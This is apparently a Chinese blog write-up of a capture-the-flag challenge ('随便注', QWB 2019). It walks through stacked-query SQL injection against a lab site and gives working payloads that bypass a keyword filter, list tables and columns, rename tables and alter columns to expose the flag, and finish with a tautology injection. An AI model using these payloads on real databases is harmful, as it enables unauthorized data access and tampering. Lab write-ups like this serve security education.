[强网杯 2019]随便注

访问链接页面如下

提交参数为一测试

测试整数型还是单双引号型注入,结果为单引号注入

进行多个结果查询,尝试查找漏洞,输入以下语句发现有正则表达式对某些关键词进行过滤(大小写就不用考虑了)

1’; select database();#

尝试双词写入,并没有作用

1’; selslectect database();#

尝试用其他关键词,比如说show,成功注入,得到两个表

1'; show tables;#

分别查看两个表中的列名

1'; show columns from `1919810931114514`;#
1'; show columns from words;#

发现在表`1919810931114514`中有我们想要的数据flag,怎么得到呢,观察words表的列名,我们发现字段id为int类型,字段data为字符串类型,正好对应在输入框中输入数字得到数据的模板,因此我们判定这个查询框绑定着words表,输入的查询值为id,此处我们只能通过输入id回显字段的值,因此思路为:

  • 把原来的worlds表改名为word2,

  • 然后把flag存在的表`1919810931114514`改名为worlds

  • 并且把flag字段改名为data(因为页面中回显的是data字段的值)

改变表名:

rename table 旧表名 to 新表名;

改变表中的字段名

ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;

给表新增字段

ALTER TABLE 表 ADD COLUMN 字段1 字段类型 DEFAULT 默认值

最终构造语句为


1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);#

(这个语句要编写完一起放进去执行,如果分布执行的话会失败)

可以查看一下表,验证是否更改成功

1'; show tables;#

执行结束输入万能语句取出我们想要的值

1' or '1'='1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值